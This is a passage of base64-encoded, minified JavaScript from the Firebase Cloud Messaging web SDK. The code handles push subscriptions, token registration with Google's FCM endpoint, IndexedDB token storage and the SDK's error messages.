kF6U0NidzYzZzFSMG5Ddzg1akc4IiwiSWF5YTN5TEt3bWd2aDdjRjBxNCIpO2FzeW5jIGZ1bmN0aW9uIGRuKCl7cmV0dXJuIHUoKSYmYXdhaXQgZCgpJiYiUHVzaE1hbmFnZXIiaW4gc2VsZiYmIk5vdGlmaWNhdGlvbiJpbiBzZWxmJiZTZXJ2aWNlV29ya2VyUmVnaXN0cmF0aW9uLnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eSgic2hvd05vdGlmaWNhdGlvbiIpJiZQdXNoU3Vic2NyaXB0aW9uLnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eSgiZ2V0S2V5Iil9ZnVuY3Rpb24gbG4oZT1mdW5jdGlvbihlPUcpe2NvbnN0IHQ9WS5nZXQoZSk7aWYoIXQmJmU9PT1HJiZzKCkpcmV0dXJuIGllKCk7aWYoIXQpdGhyb3cgdGUuY3JlYXRlKCJuby1hcHAiLHthcHBOYW1lOmV9KTtyZXR1cm4gdH0oKSl7cmV0dXJuIGRuKCkudGhlbigoZT0+e2lmKCFlKXRocm93IEd0LmNyZWF0ZSgidW5zdXBwb3J0ZWQtYnJvd3NlciIpfSksKGU9Pnt0aHJvdyBHdC5jcmVhdGUoImluZGV4ZWQtZGItdW5zdXBwb3J0ZWQiKX0pKSxlZShtKGUpLCJtZXNzYWdpbmctc3ciKS5nZXRJbW1lZGlhdGUoKX1aKG5ldyBiKCJtZXNzYWdpbmctc3ciLChlPT57Y29uc3QgdD1uZXcgY2xhc3N7Y29uc3RydWN0b3IoZSx0LG4pe3RoaXMuZGVsaXZlcnlNZXRyaWNzRXhwb3J0ZWRUb0JpZ1F1ZXJ5RW5hYmxlZD0hMSx0aGlzLm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5vbk1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5sb2dFdmVudHM9W10sdGhpcy5pc0xvZ1NlcnZpY2VTdGFydGVkPSExO2NvbnN0IGk9ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cgdW4oIkFwcCBDb25maWd1cmF0aW9uIE9iamVjdCIpO2lmKCFlLm5hbWUpdGhyb3cgdW4oIkFwcCBOYW1lIik7Y29uc3QgdD1bInByb2plY3RJZCIsImFwaUtleSIsImFwcElkIiwibWVzc2FnaW5nU2VuZGVySWQiXSx7b3B0aW9uczpufT1lO2Zvcihjb25zdCBpIG9mIHQpaWYoIW5baV0pdGhyb3cgdW4oaSk7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDpuLnByb2plY3RJZCxhcGlLZXk6bi5hcGlLZXksYXBwSWQ6bi5hcHBJZCxzZW5kZXJJZDpuLm1lc3NhZ2luZ1NlbmRlcklkfX0oZSk7dGhpcy5maXJlYmFzZURlcGVuZGVuY2llcz17YXBwOmUsYXBwQ29uZmlnOmksaW5zdGFsbGF0aW9uczp0LGFuYWx5dGljc1Byb3ZpZGVyOm59fV9kZWxldGUoKXtyZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCl9fShlLmdldFByb3ZpZGVyKCJhcHAiKS5nZXRJbW1lZGlhdGUoKSxlLmdldFByb3ZpZGVyKCJpbnN0YWxsYXRpb25zLWludGVybmFsIikuZ2V0SW1tZWRpYXRlKCksZS5nZXRQcm92aWRlcigiYW5hbHl0aWNzLWludGVybmFsIikpO3JldHVybiBzZWxmLmFkZEV2ZW50TGlzdGVuZXIoInB1c2giLChlPT57ZS53YWl0VW50aWwob24oZSx0KSl9KSksc2VsZi5hZGRFdmVudExpc3RlbmVyKCJwdXNoc3Vic2NyaXB0aW9uY2hhbmdlIiwoZT0+e2Uud2FpdFVudGlsKGFzeW5jIGZ1bmN0aW9uKGUsdCl7dmFyIG4saTtjb25zdHtuZXdTdWJzY3JpcHRpb246cn09ZTtpZighcilyZXR1cm4gdm9pZChhd2FpdCB0bih0KSk7Y29uc3QgYT1hd2FpdCBVdCh0LmZpcmViYXNlRGVwZW5kZW5jaWVzKTthd2FpdCB0bih0KSx0LnZhcGlkS2V5PW51bGwhPT0oaT1udWxsPT09KG49bnVsbD09YT92b2lkIDA6YS5zdWJzY3JpcHRpb25PcHRpb25zKXx8dm9pZCAwPT09bj92b2lkIDA6bi52YXBpZEtleSkmJnZvaWQgMCE9PWk/aTpEdCxhd2FpdCBlbih0KX0oZSx0KSl9KSksc2VsZi5hZGRFdmVudExpc3RlbmVyKCJub3RpZmljYXRpb25jbGljayIsKGU9PntlLndhaXRVbnRpbChzbihlKSl9KSksdH0pLCJQVUJMSUMiKSk7cmUoImZpcmViYXNlIiwiMTAuMS4wIiwiYXBwIik7Y29uc3QgcG49Ii9maXJlYmFzZS1tZXNzYWdpbmctc3cuanMiLGZuPSIvZmlyZWJhc2UtY2xvdWQtbWVzc2FnaW5nLXB1c2gtc2NvcGUiLGhuPSJCRE9VOTktaDY3SGNBNkplRlhIYlNOTXU3ZTJ5Tk51M1J6b01qOFRNNFc4OGpJVGZxN1ptUHZJTTFJdi00X2wyTHhRY1l3aHFieTJ4R3BXd3pqZkFuRzQiLGduPSJodHRwczovL2ZjbXJlZ2lzdHJhdGlvbnMuZ29vZ2xlYXBpcy5jb20vdjEiLG1uPSJnb29nbGUuYy5hLmNfaWQiLGJuPSJnb29nbGUuYy5hLmNfbCIsd249Imdvb2dsZS5jLmEudHMiO3ZhciB5bix2bjtmdW5jdGlvbiBJbihlKXtjb25zdCB0PW5ldyBVaW50OEFycmF5KGUpO3JldHVybiBidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4udCkpLnJlcGxhY2UoLz0vZywiIikucmVwbGFjZSgvXCsvZywiLSIpLnJlcGxhY2UoL1wvL2csIl8iKX1mdW5jdGlvbiBTbihlKXtjb25zdCB0PShlKyI9Ii5yZXBlYXQoKDQtZS5sZW5ndGglNCklNCkpLnJlcGxhY2UoL1wtL2csIisiKS5yZXBsYWNlKC9fL2csIi8iKSxuPWF0b2IodCksaT1uZXcgVWludDhBcnJheShuLmxlbmd0aCk7Zm9yKGxldCByPTA7cjxuLmxlbmd0aDsrK3IpaVtyXT1uLmNoYXJDb2RlQXQocik7cmV0dXJuIGl9IWZ1bmN0aW9uKGUpe2VbZS5EQVRBX01FU1NBR0U9MV09IkRBVEFfTUVTU0FHRSIsZVtlLkRJU1BMQVlfTk9USUZJQ0FUSU9OPTNdPSJESVNQTEFZX05PVElGSUNBVElPTiJ9KHlufHwoeW49e30pKSxmdW5jdGlvbihlKXtlLlBVU0hfUkVDRUlWRUQ9InB1c2gtcmVjZWl2ZWQiLGUuTk9USUZJQ0FUSU9OX0NMSUNLRUQ9Im5vdGlmaWNhdGlvbi1jbGlja2VkIn0odm58fCh2bj17fSkpO2NvbnN0IGtuPSJmY21fdG9rZW5fZGV0YWlsc19kYiIsX249NSxFbj0iZmNtX3Rva2VuX29iamVjdF9TdG9yZSI7Y29uc3QgRG49ImZpcmViYXNlLW1lc3NhZ2luZy1kYXRhYmFzZSIsQ249MSxUbj0iZmlyZWJhc2UtbWVzc2FnaW5nLXN0b3JlIjtsZXQgQW49bnVsbDtmdW5jdGlvbiBPbigpe3JldHVybiBBbnx8KEFuPU9lKERuLENuLHt1cGdyYWRlOihlLHQpPT57aWYoMD09PXQpZS5jcmVhdGVPYmplY3RTdG9yZShUbil9fSkpLEFufWFzeW5jIGZ1bmN0aW9uIE1uKGUpe2NvbnN0IHQ9Tm4oZSksbj1hd2FpdCBPbigpLGk9YXdhaXQgbi50cmFuc2FjdGlvbihUbikub2JqZWN0U3RvcmUoVG4pLmdldCh0KTtpZihpKXJldHVybiBpO3tjb25zdCB0PWF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2lmKCJkYXRhYmFzZXMiaW4gaW5kZXhlZERCJiYhKGF3YWl0IGluZGV4ZWREQi5kYXRhYmFzZXMoKSkubWFwKChlPT5lLm5hbWUpKS5pbmNsdWRlcyhrbikpcmV0dXJuIG51bGw7bGV0IHQ9bnVsbDtyZXR1cm4oYXdhaXQgT2Uoa24sX24se3VwZ3JhZGU6YXN5bmMobixpLHIsYSk9Pnt2YXIgbztpZihpPDIpcmV0dXJuO2lmKCFuLm9iamVjdFN0b3JlTmFtZXMuY29udGFpbnMoRW4pKXJldHVybjtjb25zdCBzPWEub2JqZWN0U3RvcmUoRW4pLGM9YXdhaXQgcy5pbmRleCgiZmNtU2VuZGVySWQiKS5nZXQoZSk7aWYoYXdhaXQgcy5jbGVhcigpLGMpaWYoMj09PWkpe2NvbnN0IGU9YztpZighZS5hdXRofHwhZS5wMjU2ZGh8fCFlLmVuZHBvaW50KXJldHVybjt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6bnVsbCE9PShvPWUuY3JlYXRlVGltZSkmJnZvaWQgMCE9PW8/bzpEYXRlLm5vdygpLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6ZS5hdXRoLHAyNTZkaDplLnAyNTZkaCxlbmRwb2ludDplLmVuZHBvaW50LHN3U2NvcGU6ZS5zd1Njb3BlLHZhcGlkS2V5OiJzdHJpbmciPT10eXBlb2YgZS52YXBpZEtleT9lLnZhcGlkS2V5OkluKGUudmFwaWRLZXkpfX19ZWxzZSBpZigzPT09aSl7Y29uc3QgZT1jO3Q9e3Rva2VuOmUuZmNtVG9rZW4sY3JlYXRlVGltZTplLmNyZWF0ZVRpbWUsc3Vic2NyaXB0aW9uT3B0aW9uczp7YXV0aDpJbihlLmF1dGgpLHAyNTZkaDpJbihlLnAyNTZkaCksZW5kcG9pbnQ6ZS5lbmRwb2ludCxzd1Njb3BlOmUuc3dTY29wZSx2YXBpZEtleTpJbihlLnZhcGlkS2V5KX19fWVsc2UgaWYoND09PWkpe2NvbnN0IGU9Yzt0PXt0b2tlbjplLmZjbVRva2VuLGNyZWF0ZVRpbWU6ZS5jcmVhdGVUaW1lLHN1YnNjcmlwdGlvbk9wdGlvbnM6e2F1dGg6SW4oZS5hdXRoKSxwMjU2ZGg6SW4oZS5wMjU2ZGgpLGVuZHBvaW50OmUuZW5kcG9pbnQsc3dTY29wZTplLnN3U2NvcGUsdmFwaWRLZXk6SW4oZS52YXBpZEtleSl9fX19fSkpLmNsb3NlKCksYXdhaXQgTWUoa24pLGF3YWl0IE1lKCJmY21fdmFwaWRfZGV0YWlsc19kYiIpLGF3YWl0IE1lKCJ1bmRlZmluZWQiKSxmdW5jdGlvbihlKXtpZighZXx8IWUuc3Vic2NyaXB0aW9uT3B0aW9ucylyZXR1cm4hMTtjb25zdHtzdWJzY3JpcHRpb25PcHRpb25zOnR9PWU7cmV0dXJuIm51bWJlciI9PXR5cGVvZiBlLmNyZWF0ZVRpbWUmJmUuY3JlYXRlVGltZT4wJiYic3RyaW5nIj09dHlwZW9mIGUudG9rZW4mJmUudG9rZW4ubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5hdXRoJiZ0LmF1dGgubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5wMjU2ZGgmJnQucDI1NmRoLmxlbmd0aD4wJiYic3RyaW5nIj09dHlwZW9mIHQuZW5kcG9pbnQmJnQuZW5kcG9pbnQubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC5zd1Njb3BlJiZ0LnN3U2NvcGUubGVuZ3RoPjAmJiJzdHJpbmciPT10eXBlb2YgdC52YXBpZEtleSYmdC52YXBpZEtleS5sZW5ndGg+MH0odCk/dDpudWxsfShlLmFwcENvbmZpZy5zZW5kZXJJZCk7aWYodClyZXR1cm4gYXdhaXQgam4oZSx0KSx0fX1hc3luYyBmdW5jdGlvbiBqbihlLHQpe2NvbnN0IG49Tm4oZSksaT0oYXdhaXQgT24oKSkudHJhbnNhY3Rpb24oVG4sInJlYWR3cml0ZSIpO3JldHVybiBhd2FpdCBpLm9iamVjdFN0b3JlKFRuKS5wdXQodCxuKSxhd2FpdCBpLmRvbmUsdH1mdW5jdGlvbiBObih7YXBwQ29uZmlnOmV9KXtyZXR1cm4gZS5hcHBJZH1jb25zdCBQbj1uZXcgcCgibWVzc2FnaW5nIiwiTWVzc2FnaW5nIix7Im1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiOidNaXNzaW5nIEFwcCBjb25maWd1cmF0aW9uIHZhbHVlOiAieyR2YWx1ZU5hbWV9IicsIm9ubHktYXZhaWxhYmxlLWluLXdpbmRvdyI6IlRoaXMgbWV0aG9kIGlzIGF2YWlsYWJsZSBpbiBhIFdpbmRvdyBjb250ZXh0LiIsIm9ubHktYXZhaWxhYmxlLWluLXN3IjoiVGhpcyBtZXRob2QgaXMgYXZhaWxhYmxlIGluIGEgc2VydmljZSB3b3JrZXIgY29udGV4dC4iLCJwZXJtaXNzaW9uLWRlZmF1bHQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBkaXNtaXNzZWQgaW5zdGVhZC4iLCJwZXJtaXNzaW9uLWJsb2NrZWQiOiJUaGUgbm90aWZpY2F0aW9uIHBlcm1pc3Npb24gd2FzIG5vdCBncmFudGVkIGFuZCBibG9ja2VkIGluc3RlYWQuIiwidW5zdXBwb3J0ZWQtYnJvd3NlciI6IlRoaXMgYnJvd3NlciBkb2Vzbid0IHN1cHBvcnQgdGhlIEFQSSdzIHJlcXVpcmVkIHRvIHVzZSB0aGUgRmlyZWJhc2UgU0RLLiIsImluZGV4ZWQtZGItdW5zdXBwb3J0ZWQiOiJUaGlzIGJyb3dzZXIgZG9lc24ndCBzdXBwb3J0IGluZGV4ZWREYi5vcGVuKCkgKGV4LiBTYWZhcmkgaUZyYW1lLCBGaXJlZm94IFByaXZhdGUgQnJvd3NpbmcsIGV0YykiLCJmYWlsZWQtc2VydmljZS13b3JrZXItcmVnaXN0cmF0aW9uIjoiV2UgYXJlIHVuYWJsZSB0byByZWdpc3RlciB0aGUgZGVmYXVsdCBzZXJ2aWNlIHdvcmtlci4geyRicm93c2VyRXJyb3JNZXNzYWdlfSIsInRva2VuLXN1YnNjcmliZS1mYWlsZWQiOiJBIHByb2JsZW0gb2NjdXJyZWQgd2hpbGUgc3Vic2NyaWJpbmcgdGhlIHVzZXIgdG8gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiBzdWJzY3JpYmluZyB0aGUgdXNlciB0byBwdXNoLiIsInRva2VuLXVuc3Vic2NyaWJlLWZhaWxlZCI6IkEgcHJvYmxlbSBvY2N1cnJlZCB3aGlsZSB1bnN1YnNjcmliaW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtZmFpbGVkIjoiQSBwcm9ibGVtIG9jY3VycmVkIHdoaWxlIHVwZGF0aW5nIHRoZSB1c2VyIGZyb20gRkNNOiB7JGVycm9ySW5mb30iLCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iOiJGQ00gcmV0dXJuZWQgbm8gdG9rZW4gd2hlbiB1cGRhdGluZyB0aGUgdXNlciB0byBwdXNoLiIsInVzZS1zdy1hZnRlci1nZXQtdG9rZW4iOiJUaGUgdXNlU2VydmljZVdvcmtlcigpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBzZXJ2aWNlIHdvcmtlciBpcyB1c2VkLiIsImludmFsaWQtc3ctcmVnaXN0cmF0aW9uIjoiVGhlIGlucHV0IHRvIHVzZVNlcnZpY2VXb3JrZXIoKSBtdXN0IGJlIGEgU2VydmljZVdvcmtlclJlZ2lzdHJhdGlvbi4iLCJpbnZhbGlkLWJnLWhhbmRsZXIiOiJUaGUgaW5wdXQgdG8gc2V0QmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyKCkgbXVzdCBiZSBhIGZ1bmN0aW9uLiIsImludmFsaWQtdmFwaWQta2V5IjoiVGhlIHB1YmxpYyBWQVBJRCBrZXkgbXVzdCBiZSBhIHN0cmluZy4iLCJ1c2UtdmFwaWQta2V5LWFmdGVyLWdldC10b2tlbiI6IlRoZSB1c2VQdWJsaWNWYXBpZEtleSgpIG1ldGhvZCBtYXkgb25seSBiZSBjYWxsZWQgb25jZSBhbmQgbXVzdCBiZSBjYWxsZWQgYmVmb3JlIGNhbGxpbmcgZ2V0VG9rZW4oKSB0byBlbnN1cmUgeW91ciBWQVBJRCBrZXkgaXMgdXNlZC4ifSk7YXN5bmMgZnVuY3Rpb24gQm4oZSx0KXtjb25zdCBuPXttZXRob2Q6IkRFTEVURSIsaGVhZGVyczphd2FpdCAkbihlKX07dHJ5e2NvbnN0IGk9YXdhaXQgZmV0Y2goYCR7TG4oZS5hcHBDb25maWcpfS8ke3R9YCxuKSxyPWF3YWl0IGkuanNvbigpO2lmKHIuZXJyb3Ipe2NvbnN0IGU9ci5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tdW5zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOmV9KX19Y2F0Y2goaSl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11bnN1YnNjcmliZS1mYWlsZWQiLHtlcnJvckluZm86bnVsbD09aT92b2lkIDA6aS50b1N0cmluZygpfSl9fWZ1bmN0aW9uIExuKHtwcm9qZWN0SWQ6ZX0pe3JldHVybmAke2dufS9wcm9qZWN0cy8ke2V9L3JlZ2lzdHJhdGlvbnNgfWFzeW5jIGZ1bmN0aW9uICRuKHthcHBDb25maWc6ZSxpbnN0YWxsYXRpb25zOnR9KXtjb25zdCBuPWF3YWl0IHQuZ2V0VG9rZW4oKTtyZXR1cm4gbmV3IEhlYWRlcnMoeyJDb250ZW50LVR5cGUiOiJhcHBsaWNhdGlvbi9qc29uIixBY2NlcHQ6ImFwcGxpY2F0aW9uL2pzb24iLCJ4LWdvb2ctYXBpLWtleSI6ZS5hcGlLZXksIngtZ29vZy1maXJlYmFzZS1pbnN0YWxsYXRpb25zLWF1dGgiOmBGSVMgJHtufWB9KX1mdW5jdGlvbiBSbih7cDI1NmRoOmUsYXV0aDp0LGVuZHBvaW50Om4sdmFwaWRLZXk6aX0pe2NvbnN0IHI9e3dlYjp7ZW5kcG9pbnQ6bixhdXRoOnQscDI1NmRoOmV9fTtyZXR1cm4gaSE9PWhuJiYoci53ZWIuYXBwbGljYXRpb25QdWJLZXk9aSkscn1jb25zdCB4bj02MDQ4ZTU7YXN5bmMgZnVuY3Rpb24gS24oZSl7Y29uc3QgdD1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgZS5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKTtpZihuKXJldHVybiBuO3JldHVybiBlLnB1c2hNYW5hZ2VyLnN1YnNjcmliZSh7dXNlclZpc2libGVPbmx5OiEwLGFwcGxpY2F0aW9uU2VydmVyS2V5OlNuKHQpfSl9KGUuc3dSZWdpc3RyYXRpb24sZS52YXBpZEtleSksbj17dmFwaWRLZXk6ZS52YXBpZEtleSxzd1Njb3BlOmUuc3dSZWdpc3RyYXRpb24uc2NvcGUsZW5kcG9pbnQ6dC5lbmRwb2ludCxhdXRoOkluKHQuZ2V0S2V5KCJhdXRoIikpLHAyNTZkaDpJbih0LmdldEtleSgicDI1NmRoIikpfSxpPWF3YWl0IE1uKGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMpO2lmKGkpe2lmKGZ1bmN0aW9uKGUsdCl7Y29uc3Qgbj10LnZhcGlkS2V5PT09ZS52YXBpZEtleSxpPXQuZW5kcG9pbnQ9PT1lLmVuZHBvaW50LHI9dC5hdXRoPT09ZS5hdXRoLGE9dC5wMjU2ZGg9PT1lLnAyNTZkaDtyZXR1cm4gbiYmaSYmciYmYX0oaS5zdWJzY3JpcHRpb25PcHRpb25zLG4pKXJldHVybiBEYXRlLm5vdygpPj1pLmNyZWF0ZVRpbWUreG4/YXN5bmMgZnVuY3Rpb24oZSx0KXt0cnl7Y29uc3Qgbj1hd2FpdCBhc3luYyBmdW5jdGlvbihlLHQpe2NvbnN0IG49YXdhaXQgJG4oZSksaT1Sbih0LnN1YnNjcmlwdGlvbk9wdGlvbnMpLHI9e21ldGhvZDoiUEFUQ0giLGhlYWRlcnM6bixib2R5OkpTT04uc3RyaW5naWZ5KGkpfTtsZXQgYTt0cnl7Y29uc3Qgbj1hd2FpdCBmZXRjaChgJHtMbihlLmFwcENvbmZpZyl9LyR7dC50b2tlbn1gLHIpO2E9YXdhaXQgbi5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11cGRhdGUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tdXBkYXRlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi11cGRhdGUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZS5maXJlYmFzZURlcGVuZGVuY2llcyx0KSxpPU9iamVjdC5hc3NpZ24oT2JqZWN0LmFzc2lnbih7fSx0KSx7dG9rZW46bixjcmVhdGVUaW1lOkRhdGUubm93KCl9KTtyZXR1cm4gYXdhaXQgam4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxpKSxufWNhdGNoKG4pe3Rocm93IGF3YWl0IGFzeW5jIGZ1bmN0aW9uKGUpe2NvbnN0IHQ9YXdhaXQgTW4oZS5maXJlYmFzZURlcGVuZGVuY2llcyk7dCYmKGF3YWl0IEJuKGUuZmlyZWJhc2VEZXBlbmRlbmNpZXMsdC50b2tlbiksYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7Y29uc3QgdD1ObihlKSxuPShhd2FpdCBPbigpKS50cmFuc2FjdGlvbihUbiwicmVhZHdyaXRlIik7YXdhaXQgbi5vYmplY3RTdG9yZShUbikuZGVsZXRlKHQpLGF3YWl0IG4uZG9uZX0oZS5maXJlYmFzZURlcGVuZGVuY2llcykpO2NvbnN0IG49YXdhaXQgZS5zd1JlZ2lzdHJhdGlvbi5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKTtpZihuKXJldHVybiBuLnVuc3Vic2NyaWJlKCk7cmV0dXJuITB9KGUpLG59fShlLHt0b2tlbjppLnRva2VuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOm59KTppLnRva2VuO3RyeXthd2FpdCBCbihlLmZpcmViYXNlRGVwZW5kZW5jaWVzLGkudG9rZW4pfWNhdGNoKHIpe31yZXR1cm4gSG4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1yZXR1cm4gSG4oZS5maXJlYmFzZURlcGVuZGVuY2llcyxuKX1hc3luYyBmdW5jdGlvbiBIbihlLHQpe2NvbnN0IG49YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSx0KXtjb25zdCBuPWF3YWl0ICRuKGUpLGk9Um4odCkscj17bWV0aG9kOiJQT1NUIixoZWFkZXJzOm4sYm9keTpKU09OLnN0cmluZ2lmeShpKX07bGV0IGE7dHJ5e2NvbnN0IHQ9YXdhaXQgZmV0Y2goTG4oZS5hcHBDb25maWcpLHIpO2E9YXdhaXQgdC5qc29uKCl9Y2F0Y2gobyl7dGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtZmFpbGVkIix7ZXJyb3JJbmZvOm51bGw9PW8/dm9pZCAwOm8udG9TdHJpbmcoKX0pfWlmKGEuZXJyb3Ipe2NvbnN0IGU9YS5lcnJvci5tZXNzYWdlO3Rocm93IFBuLmNyZWF0ZSgidG9rZW4tc3Vic2NyaWJlLWZhaWxlZCIse2Vycm9ySW5mbzplfSl9aWYoIWEudG9rZW4pdGhyb3cgUG4uY3JlYXRlKCJ0b2tlbi1zdWJzY3JpYmUtbm8tdG9rZW4iKTtyZXR1cm4gYS50b2tlbn0oZSx0KSxpPXt0b2tlbjpuLGNyZWF0ZVRpbWU6RGF0ZS5ub3coKSxzdWJzY3JpcHRpb25PcHRpb25zOnR9O3JldHVybiBhd2FpdCBqbihlLGkpLGkudG9rZW59ZnVuY3Rpb24gRm4oZSl7Y29uc3QgdD17ZnJvbTplLmZyb20sY29sbGFwc2VLZXk6ZS5jb2xsYXBzZV9rZXksbWVzc2FnZUlkOmUuZmNtTWVzc2FnZUlkfTtyZXR1cm4gZnVuY3Rpb24oZSx0KXtpZighdC5ub3RpZmljYXRpb24pcmV0dXJuO2Uubm90aWZpY2F0aW9uPXt9O2NvbnN0IG49dC5ub3RpZmljYXRpb24udGl0bGU7biYmKGUubm90aWZpY2F0aW9uLnRpdGxlPW4pO2NvbnN0IGk9dC5ub3RpZmljYXRpb24uYm9keTtpJiYoZS5ub3RpZmljYXRpb24uYm9keT1pKTtjb25zdCByPXQubm90aWZpY2F0aW9uLmltYWdlO3ImJihlLm5vdGlmaWNhdGlvbi5pbWFnZT1yKTtjb25zdCBhPXQubm90aWZpY2F0aW9uLmljb247YSYmKGUubm90aWZpY2F0aW9uLmljb249YSl9KHQsZSksZnVuY3Rpb24oZSx0KXtpZighdC5kYXRhKXJldHVybjtlLmRhdGE9dC5kYXRhfSh0LGUpLGZ1bmN0aW9uKGUsdCl7dmFyIG4saSxyLGEsbztpZighdC5mY21PcHRpb25zJiYhKG51bGw9PT0obj10Lm5vdGlmaWNhdGlvbil8fHZvaWQgMD09PW4/dm9pZCAwOm4uY2xpY2tfYWN0aW9uKSlyZXR1cm47ZS5mY21PcHRpb25zPXt9O2NvbnN0IHM9bnVsbCE9PShyPW51bGw9PT0oaT10LmZjbU9wdGlvbnMpfHx2b2lkIDA9PT1pP3ZvaWQgMDppLmxpbmspJiZ2b2lkIDAhPT1yP3I6bnVsbD09PShhPXQubm90aWZpY2F0aW9uKXx8dm9pZCAwPT09YT92b2lkIDA6YS5jbGlja19hY3Rpb247cyYmKGUuZmNtT3B0aW9ucy5saW5rPXMpO2NvbnN0IGM9bnVsbD09PShvPXQuZmNtT3B0aW9ucyl8fHZvaWQgMD09PW8/dm9pZCAwOm8uYW5hbHl0aWNzX2xhYmVsO2MmJihlLmZjbU9wdGlvbnMuYW5hbHl0aWNzTGFiZWw9Yyl9KHQsZSksdH1mdW5jdGlvbiBXbihlLHQpe2NvbnN0IG49W107Zm9yKGxldCBpPTA7aTxlLmxlbmd0aDtpKyspbi5wdXNoKGUuY2hhckF0KGkpKSxpPHQubGVuZ3RoJiZuLnB1c2godC5jaGFyQXQoaSkpO3JldHVybiBuLmpvaW4oIiIpfWZ1bmN0aW9uIFZuKGUpe3JldHVybiBQbi5jcmVhdGUoIm1pc3NpbmctYXBwLWNvbmZpZy12YWx1ZXMiLHt2YWx1ZU5hbWU6ZX0pfVduKCJodHMvZnJic2xnaWdwLm9nZXBzY212L2llby9lYXlsZyIsInRwOi9pZWFlb2duLWFnb2xhaS5vLzFmcmxnbGdjL28iKSxXbigiQXpTQ2J3NjNnMVIwbkN3ODVqRzgiLCJJYXlhM3lMS3dtZ3ZoN2NGMHE0Iik7Y2xhc3MgVW57Y29uc3RydWN0b3IoZSx0LG4pe3RoaXMuZGVsaXZlcnlNZXRyaWNzRXhwb3J0ZWRUb0JpZ1F1ZXJ5RW5hYmxlZD0hMSx0aGlzLm9uQmFja2dyb3VuZE1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5vbk1lc3NhZ2VIYW5kbGVyPW51bGwsdGhpcy5sb2dFdmVudHM9W10sdGhpcy5pc0xvZ1NlcnZpY2VTdGFydGVkPSExO2NvbnN0IGk9ZnVuY3Rpb24oZSl7aWYoIWV8fCFlLm9wdGlvbnMpdGhyb3cgVm4oIkFwcCBDb25maWd1cmF0aW9uIE9iamVjdCIpO2lmKCFlLm5hbWUpdGhyb3cgVm4oIkFwcCBOYW1lIik7Y29uc3QgdD1bInByb2plY3RJZCIsImFwaUtleSIsImFwcElkIiwibWVzc2FnaW5nU2VuZGVySWQiXSx7b3B0aW9uczpufT1lO2Zvcihjb25zdCBpIG9mIHQpaWYoIW5baV0pdGhyb3cgVm4oaSk7cmV0dXJue2FwcE5hbWU6ZS5uYW1lLHByb2plY3RJZDpuLnByb2plY3RJZCxhcGlLZXk6bi5hcGlLZXksYXBwSWQ6bi5hcHBJZCxzZW5kZXJJZDpuLm1lc3NhZ2luZ1NlbmRlcklkfX0oZSk7dGhpcy5maXJlYmFzZURlcGVuZGVuY2llcz17YXBwOmUsYXBwQ29uZmlnOmksaW5zdGFsbGF0aW9uczp0LGFuYWx5dGljc1Byb3ZpZGVyOm59fV9kZWxldGUoKXtyZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCl9fWFzeW5jIGZ1bmN0aW9uIHpuKGUsdCl7aWYodHx8ZS5zd1JlZ2lzdHJhdGlvbnx8YXdhaXQgYXN5bmMgZnVuY3Rpb24oZSl7dHJ5e2Uuc3dSZWdpc3RyYXRpb249YXdhaXQgbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIocG4se3Njb3BlOmZufSksZS5zd1JlZ2lzdHJhdGlvbi51cGRhdGUoKS5jYXRjaCgoKCk9Pnt9KSl9Y2F0Y2godCl7dGhyb3cg